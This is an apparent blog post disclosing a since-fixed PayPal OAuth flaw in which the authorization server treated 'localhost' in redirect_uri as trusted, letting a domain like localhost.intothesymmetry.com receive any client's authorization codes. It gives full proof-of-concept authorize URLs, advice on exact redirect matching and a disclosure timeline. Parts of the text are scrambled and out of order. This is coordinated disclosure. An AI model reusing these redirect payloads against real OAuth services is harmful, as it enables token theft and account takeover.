EVERY

Introduction

redirect_uri

If you are building an OAuth client,

Thou shall register a redirect_uri as much as specific as you can

DO register https://yourouauthclient.com/oauth/oauthprovider/callback

NOT JUST https://yourouauthclient.com/ or https://yourouauthclient.com/oauth

The ONLY safe validation

method for redirect_uri the

authorization server should

adopt is exact matching



Although other methods offer client developers desirable flexibility in managing their application’s deployment, they are exploitable.

From “OAuth 2 In Action” by Justin Richer and Antonio Sanso, Copyrights 2016

Egor Homakov hacking Github

me/myself hacking Facebook bypassing the regex redirect_uri validation

Paypal Vulnerability

So after this long premise the legitimate question is what was wrong with Paypal ?

redirect_uri :) Basically like many online internet services Paypal offers the option to register your own Paypal application via a Dashboard . So far so good :). The better news (for Paypal) is that they actually employs an exact matching policy for:)

So what was wrong ?

While testing my own OAuth client I have noticed something a bit fishy. The easier way to describe it is using an OAuth application from Paypal itself (remember the vulnerability I found is universal aka worked with every client!). Basically Paypal has setup a Demo Paypal application to showcases their OAuth functionalities. The initial OAuth request looked like:







https://www.paypal.com/signin/authorize?client_id=AdcKahCXxhLAuoIeOotpvizsVOX5k2A0VZGHxZnQHoo1Ap9ChOV0XqPdZXQt&response_type=code&scope=openid%20profile%20email%20address%20phone%20https://uri.paypal.com/services/paypalattributes%20https://uri.paypal.com/services/paypalattributes/business%20https://uri.paypal.com/services/expresscheckout&redirect_uri=https://demo.paypal.com/loginsuccessful&nonce=&newUI=Y



As you can see the registered redirect_uri for this application is https://demo.paypal.com/loginsuccessful



What I have found out is that the Paypal Authorization Server was also accepting localhost as redirect_uri. So





https://www.paypal.com/signin/authorize?client_id=AdcKahCXxhLAuoIeOotpvizsVOX5k2A0VZGHxZnQHoo1Ap9ChOV0XqPdZXQt&response_type=code&scope=openid%20profile%20email%20address%20phone%20https://uri.paypal.com/services/paypalattributes%20https://uri.paypal.com/services/paypalattributes/business%20https://uri.paypal.com/services/expresscheckout&redirect_uri= https://localhost &nonce=&newUI=Y





was still a valid request and the authorization code was then delivered back to localhost .

Cute right? But still not a vulnerability :(

http://localhost.intothesymmetry.com/ and try: Well the next natural step was to create a DNS entry for my website looking lkeand try:





https://www.paypal.com/signin/authorize?client_id=AdcKahCXxhLAuoIeOotpvizsVOX5k2A0VZGHxZnQHoo1Ap9ChOV0XqPdZXQt&response_type=code&scope=openid%20profile%20email%20address%20phone%20https://uri.paypal.com/services/paypalattributes%20https://uri.paypal.com/services/paypalattributes/business%20https://uri.paypal.com/services/expresscheckout&redirect_uri= http://localhost.intothesymmetry.com/ &nonce=&newUI=Y





and you know what? BINGO :









So it really looks like that even if Paypal did actually performed exact matching validation, localhost was a magic word and it override the validation completely!!!

Worth repeating is this vulnerability worked for any Paypal OAuth client hence was Universal making my initial claim

All your Paypal tokens belong to me - localhost for the win



For more not so crazy anymore.For more follow me on Twitter

Disclosure timeline

08-09-2016 - Reported to Paypal security team.

26-09-2016 - Paypal replied this is not a vulnerability!!

26-09-2016 - I replied to Paypal saying ok no problem. Are you sure you do not want to give an extra look into it ?

28-09-2016 - Paypal replied the will give another try.

07-11-2016 - Paypal fixed the issue (bounty awarded)

28 -11-2016 - Public disclosure.



Acknowledgement I would like to thank the Paypal Security team for the constant and quick support. - Paypal fixed the issue (bounty awarded)- Public disclosure.

I was able to hijack the OAuth tokens ofPaypal OAuth application with a really simple trick.If you have been following this blog you might have got tired of how many times I have stressed out the importance of theparameter in the OAuth flow.This simple parameter might be source of many headaches for any maintainer of OAuth installations being it a client or a server.Accepting the risk of repeating myself here is two simple suggestions that may help you stay away from troubles (you can always skip this part and going directly to thesection):i.e. if your OAuth client callback is https://yourouauthclient.com/oauth/oauthprovider/callback thenIf you are still not convinced here is how I hacked Google leveraging this mistake.Second suggestion isAgain here you can find examples of providers that were vulnerable to this attack